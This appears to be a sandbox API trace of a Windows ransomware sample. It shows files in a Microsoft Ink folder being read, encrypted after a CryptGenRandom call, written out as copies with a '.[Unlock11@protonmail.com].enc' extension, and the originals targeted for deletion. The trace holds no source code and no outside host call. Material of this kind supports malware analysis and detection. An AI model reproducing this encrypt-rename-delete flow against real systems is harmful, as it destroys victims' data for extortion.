[0122.096] GetLastError () returned 0x0 [0122.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0122.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0122.096] GetLastError () returned 0x0 [0122.097] GetLastError () returned 0x0 [0122.097] GetCurrentThreadId () returned 0x9b0 [0122.097] GetLastError () returned 0x0 [0122.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.097] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37bf790, Size=0xd55) returned 0x37bf790 [0122.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6c58 [0122.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d88 | out: hHeap=0x2ad0000) returned 1 [0122.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xd58) returned 0x33055a0 [0122.097] GetLastError () returned 0x0 [0122.097] GetLastError () returned 0x0 [0122.097] GetLastError () returned 0x0 [0122.098] GetLastError () returned 0x0 [0122.098] GetCurrentThreadId () returned 0x9b0 [0122.098] GetLastError () returned 0x0 [0122.098] GetCurrentThreadId () returned 0x9b0 [0122.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xd55) returned 0x3306300 [0122.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33055a0 | out: hHeap=0x2ad0000) returned 1 [0122.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0122.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0122.098] GetLastError () returned 0x0 [0122.098] GetLastError () returned 0x0 [0122.098] GetCurrentThreadId () returned 0x9b0 [0122.098] GetLastError () returned 0x0 [0122.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3306300 | out: hHeap=0x2ad0000) returned 1 [0122.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0122.099] GetLastError () returned 0x0 [0122.099] GetLastError () returned 0x0 [0122.099] GetCurrentThreadId () returned 0x9b0 [0122.099] GetLastError () returned 0x0 [0122.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.099] GetLastError () returned 0x0 [0122.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0122.100] CloseHandle (hObject=0x3ac) returned 1 [0122.100] GetLastError () returned 0x0 [0122.100] GetCurrentThreadId () returned 0x9b0 [0122.100] GetLastError () returned 0x0 [0122.100] GetLastError () returned 0x0 [0122.100] CloseHandle (hObject=0x39c) returned 1 [0122.100] GetLastError () returned 0x0 [0122.100] GetCurrentThreadId () returned 0x9b0 [0122.100] GetLastError () returned 0x0 [0122.101] GetLastError () returned 0x0 [0122.101] GetLastError () returned 0x0 [0122.101] GetLastError () returned 0x0 [0122.101] GetLastError () returned 0x0 [0122.101] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0 [0122.101] GetLastError () returned 0x5 [0122.102] GetCurrentThreadId () returned 0x9b0 [0122.102] GetLastError () returned 0x5 [0122.102] GetLastError () returned 0x5 [0122.102] GetLastError () returned 0x5 [0122.102] GetLastError () returned 0x5 [0122.102] LocalFree (hMem=0x1053c70) returned 0x0 [0122.102] GetLastError () returned 0x5 [0122.102] GetLastError () returned 0x5 [0122.102] GetLastError () returned 0x5 [0122.102] GetLastError () returned 0x5 [0122.102] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui", lpFilePart=0x9bada4*="micaut.dll.mui") returned 0x47 [0122.103] GetCurrentThreadId () returned 0x9b0 [0122.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0122.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0122.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0122.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0122.103] GetCurrentThreadId () returned 0x9b0 [0122.103] GetLastError () returned 0x5 [0122.103] GetLastError () returned 0x5 [0122.103] GetLastError () returned 0x5 [0122.103] GetLastError () returned 0x5 [0122.104] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui", lpFilePart=0x9bada4*="mip.exe.mui") returned 0x44 [0122.104] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0122.104] GetCurrentThreadId () returned 0x9b0 [0122.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0122.104] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0122.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0122.104] GetLastError () returned 0x5 [0122.104] GetLastError () returned 0x5 [0122.104] GetLastError () returned 0x5 [0122.104] GetLastError () returned 0x5 [0122.104] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui", lpFilePart=0x9bada4*="mshwLatin.dll.mui") returned 0x4a [0122.105] GetCurrentThreadId () returned 0x9b0 [0122.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0122.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0122.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0122.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0122.105] GetCurrentThreadId () returned 0x9b0 [0122.105] GetLastError () returned 0x5 [0122.105] GetLastError () returned 0x5 [0122.105] GetLastError () returned 0x5 [0122.105] GetLastError () returned 0x5 [0122.105] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui", lpFilePart=0x9bada4*="rtscom.dll.mui") returned 0x47 [0122.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0122.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0122.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0122.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0122.106] GetCurrentThreadId () returned 0x9b0 [0122.106] GetLastError () returned 0x5 [0122.106] GetLastError () returned 0x5 [0122.106] GetLastError () returned 0x5 [0122.106] GetLastError () returned 0x5 [0122.106] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui", lpFilePart=0x9bada4*="ShapeCollector.exe.mui") returned 0x4f [0122.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0122.107] GetCurrentThreadId () returned 0x9b0 [0122.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0122.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0122.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0122.107] GetLastError () returned 0x5 [0122.107] GetLastError () returned 0x5 [0122.107] GetLastError () returned 0x5 [0122.107] GetLastError () returned 0x5 [0122.107] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi", lpFilePart=0x9bada4*="split.avi") returned 0x42 [0122.107] GetCurrentThreadId () returned 0x9b0 [0122.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0122.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0122.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0122.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0122.108] GetCurrentThreadId () returned 0x9b0 [0122.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea3b8 [0122.108] GetLastError () returned 0x0 [0122.108] GetLastError () returned 0x0 [0122.108] GetLastError () returned 0x0 [0122.108] GetLastError () returned 0x0 [0122.108] GetCurrentThreadId () returned 0x9b0 [0122.108] GetLastError () returned 0x0 [0122.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea3b8 | out: hHeap=0x2ad0000) returned 1 [0122.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0122.109] GetLastError () returned 0x0 [0122.109] GetLastError () returned 0x0 [0122.109] GetLastError () returned 0x0 [0122.109] GetLastError () returned 0x0 [0122.109] GetCurrentThreadId () returned 0x9b0 [0122.109] GetLastError () returned 0x0 [0122.109] GetCurrentThreadId () returned 0x9b0 [0122.109] GetLastError () returned 0x0 [0122.109] GetLastError () returned 0x0 [0122.110] GetLastError () returned 0x0 [0122.110] GetLastError () returned 0x0 [0122.110] GetCurrentThreadId () returned 0x9b0 [0122.110] GetLastError () returned 0x0 [0122.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea278 | out: hHeap=0x2ad0000) returned 1 [0122.110] GetLastError () returned 0x0 [0122.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0122.110] GetLastError () returned 0x0 [0122.110] GetLastError () returned 0x0 [0122.110] GetLastError () returned 0x0 [0122.110] GetCurrentThreadId () returned 0x9b0 [0122.110] GetLastError () returned 0x0 [0122.111] GetLastError () returned 0x0 [0122.111] GetLastError () returned 0x0 [0122.111] GetLastError () returned 0x0 [0122.111] GetLastError () returned 0x0 [0122.111] GetCurrentThreadId () returned 0x9b0 [0122.111] GetLastError () returned 0x0 [0122.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0122.111] GetLastError () returned 0x0 [0122.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0122.111] GetLastError () returned 0x0 [0122.112] GetLastError () returned 0x0 [0122.112] GetLastError () returned 0x0 [0122.112] GetCurrentThreadId () returned 0x9b0 [0122.112] GetLastError () returned 0x0 [0122.112] GetCurrentThreadId () returned 0x9b0 [0122.112] GetLastError () returned 0x0 [0122.112] GetLastError () returned 0x0 [0122.112] GetLastError () returned 0x0 [0122.112] GetLastError () returned 0x0 [0122.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0122.112] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c6cc)) returned 1 [0122.113] GetLastError () returned 0x0 [0122.113] GetCurrentThreadId () returned 0x9b0 [0122.113] GetLastError () returned 0x0 [0122.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db8f0 | out: hHeap=0x2ad0000) returned 1 [0122.113] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f84 | out: pbBuffer=0x3668f84) returned 1 [0122.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0122.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0122.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0122.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea3b8 [0122.113] GetCurrentThreadId () returned 0x9b0 [0122.114] GetLastError () returned 0x0 [0122.114] GetLastError () returned 0x0 [0122.114] GetLastError () returned 0x0 [0122.114] GetLastError () returned 0x0 [0122.114] GetCurrentThreadId () returned 0x9b0 [0122.114] GetLastError () returned 0x0 [0122.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea3b8 | out: hHeap=0x2ad0000) returned 1 [0122.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea3b8 [0122.114] GetLastError () returned 0x0 [0122.114] GetLastError () returned 0x0 [0122.115] GetLastError () returned 0x0 [0122.115] GetLastError () returned 0x0 [0122.115] GetCurrentThreadId () returned 0x9b0 [0122.115] GetLastError () returned 0x0 [0122.115] GetCurrentThreadId () returned 0x9b0 [0122.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea3b8 | out: hHeap=0x2ad0000) returned 1 [0122.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6c18 [0122.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5e18 | out: hHeap=0x2ad0000) returned 1 [0122.115] GetLastError () returned 0x0 [0122.115] GetLastError () returned 0x0 [0122.115] GetLastError () returned 0x0 [0122.115] GetLastError () returned 0x0 [0122.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d58 [0122.116] GetLastError () returned 0x0 [0122.116] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.116] GetFileType (hFile=0x39c) returned 0x1 [0122.117] GetLastError () returned 0x0 [0122.117] GetCurrentThreadId () returned 0x9b0 [0122.117] GetLastError () returned 0x0 [0122.117] GetFileType (hFile=0x39c) returned 0x1 [0122.117] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.117] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.117] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.117] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.117] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.117] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.117] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.117] GetLastError () returned 0x0 [0122.118] GetCurrentThreadId () returned 0x9b0 [0122.118] GetLastError () returned 0x0 [0122.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d58 | out: hHeap=0x2ad0000) returned 1 [0122.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db990 | out: hHeap=0x2ad0000) returned 1 [0122.118] GetLastError () returned 0x0 [0122.118] GetLastError () returned 0x0 [0122.118] GetLastError () returned 0x0 [0122.118] GetLastError () returned 0x0 [0122.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0122.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c28 [0122.118] GetLastError () returned 0x0 [0122.119] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.120] GetFileType (hFile=0x3ac) returned 0x1 [0122.120] GetLastError () returned 0x0 [0122.120] GetCurrentThreadId () returned 0x9b0 [0122.120] GetLastError () returned 0x0 [0122.120] GetFileType (hFile=0x3ac) returned 0x1 [0122.120] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.120] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.120] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.120] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.120] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.120] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.120] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.121] GetLastError () returned 0x0 [0122.121] GetCurrentThreadId () returned 0x9b0 [0122.121] GetLastError () returned 0x0 [0122.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c28 | out: hHeap=0x2ad0000) returned 1 [0122.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0122.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0122.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0122.121] GetLastError () returned 0x0 [0122.121] GetLastError () returned 0x0 [0122.121] GetCurrentThreadId () returned 0x9b0 [0122.121] GetLastError () returned 0x0 [0122.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0122.122] GetLastError () returned 0x0 [0122.122] GetLastError () returned 0x0 [0122.122] GetCurrentThreadId () returned 0x9b0 [0122.122] GetLastError () returned 0x0 [0122.122] GetLastError () returned 0x0 [0122.124] GetLastError () returned 0x0 [0122.124] GetCurrentThreadId () returned 0x9b0 [0122.124] GetLastError () returned 0x0 [0122.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c18 | out: hHeap=0x2ad0000) returned 1 [0122.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0122.125] GetCurrentThreadId () returned 0x9b0 [0122.125] GetLastError () returned 0x0 [0122.126] GetLastError () returned 0x0 [0122.126] GetLastError () returned 0x0 [0122.126] GetLastError () returned 0x0 [0122.126] GetCurrentThreadId () returned 0x9b0 [0122.126] GetLastError () returned 0x0 [0122.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0122.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0122.126] GetLastError () returned 0x0 [0122.128] GetLastError () returned 0x0 [0122.128] GetCurrentThreadId () returned 0x9b0 [0122.129] GetLastError () returned 0x0 [0122.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0122.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0122.129] GetLastError () returned 0x0 [0122.130] GetLastError () returned 0x0 [0122.130] GetCurrentThreadId () returned 0x9b0 [0122.130] GetLastError () returned 0x0 [0122.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6c18 [0122.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cc8 | out: hHeap=0x2ad0000) returned 1 [0122.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0122.131] GetCurrentThreadId () returned 0x9b0 [0122.131] GetLastError () returned 0x0 [0122.131] GetLastError () returned 0x0 [0122.131] GetLastError () returned 0x0 [0122.131] GetLastError () returned 0x0 [0122.131] GetCurrentThreadId () returned 0x9b0 [0122.131] GetLastError () returned 0x0 [0122.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0122.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.132] GetLastError () returned 0x0 [0122.133] GetLastError () returned 0x0 [0122.133] GetCurrentThreadId () returned 0x9b0 [0122.133] GetLastError () returned 0x0 [0122.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0122.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0122.134] GetLastError () returned 0x0 [0122.134] GetLastError () returned 0x0 [0122.134] GetCurrentThreadId () returned 0x9b0 [0122.134] GetLastError () returned 0x0 [0122.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.134] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0xc6e5) returned 0x36f8548 [0122.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6d38 [0122.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c18 | out: hHeap=0x2ad0000) returned 1 [0122.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xc6e8) returned 0x37bf790 [0122.135] GetCurrentThreadId () returned 0x9b0 [0122.135] GetLastError () returned 0x0 [0122.135] GetLastError () returned 0x0 [0122.135] GetLastError () returned 0x0 [0122.135] GetLastError () returned 0x0 [0122.135] GetCurrentThreadId () returned 0x9b0 [0122.135] GetLastError () returned 0x0 [0122.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0122.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0122.136] GetLastError () returned 0x0 [0122.137] GetLastError () returned 0x0 [0122.137] GetCurrentThreadId () returned 0x9b0 [0122.137] GetLastError () returned 0x0 [0122.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37cbe80 | out: hHeap=0x2ad0000) returned 1 [0122.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0122.137] GetLastError () returned 0x0 [0122.137] GetLastError () returned 0x0 [0122.137] GetCurrentThreadId () returned 0x9b0 [0122.138] GetLastError () returned 0x0 [0122.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.138] GetLastError () returned 0x0 [0122.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.138] CloseHandle (hObject=0x3ac) returned 1 [0122.138] GetLastError () returned 0x0 [0122.138] GetCurrentThreadId () returned 0x9b0 [0122.139] GetLastError () returned 0x0 [0122.139] GetLastError () returned 0x0 [0122.139] CloseHandle (hObject=0x39c) returned 1 [0122.139] GetLastError () returned 0x0 [0122.139] GetCurrentThreadId () returned 0x9b0 [0122.139] GetLastError () returned 0x0 [0122.139] GetLastError () returned 0x0 [0122.139] GetLastError () returned 0x0 [0122.139] GetLastError () returned 0x0 [0122.139] GetLastError () returned 0x0 [0122.140] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0 [0122.140] GetLastError () returned 0x5 [0122.140] GetCurrentThreadId () returned 0x9b0 [0122.140] GetLastError () returned 0x5 [0122.140] GetLastError () returned 0x5 [0122.140] GetLastError () returned 0x5 [0122.140] GetLastError () returned 0x5 [0122.140] LocalFree (hMem=0x1053cd0) returned 0x0 [0122.140] GetCurrentThreadId () returned 0x9b0 [0122.141] GetLastError () returned 0x5 [0122.141] GetLastError () returned 0x5 [0122.141] GetLastError () returned 0x5 [0122.141] GetLastError () returned 0x5 [0122.141] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui", lpFilePart=0x9bada4*="tabskb.dll.mui") returned 0x47 [0122.141] 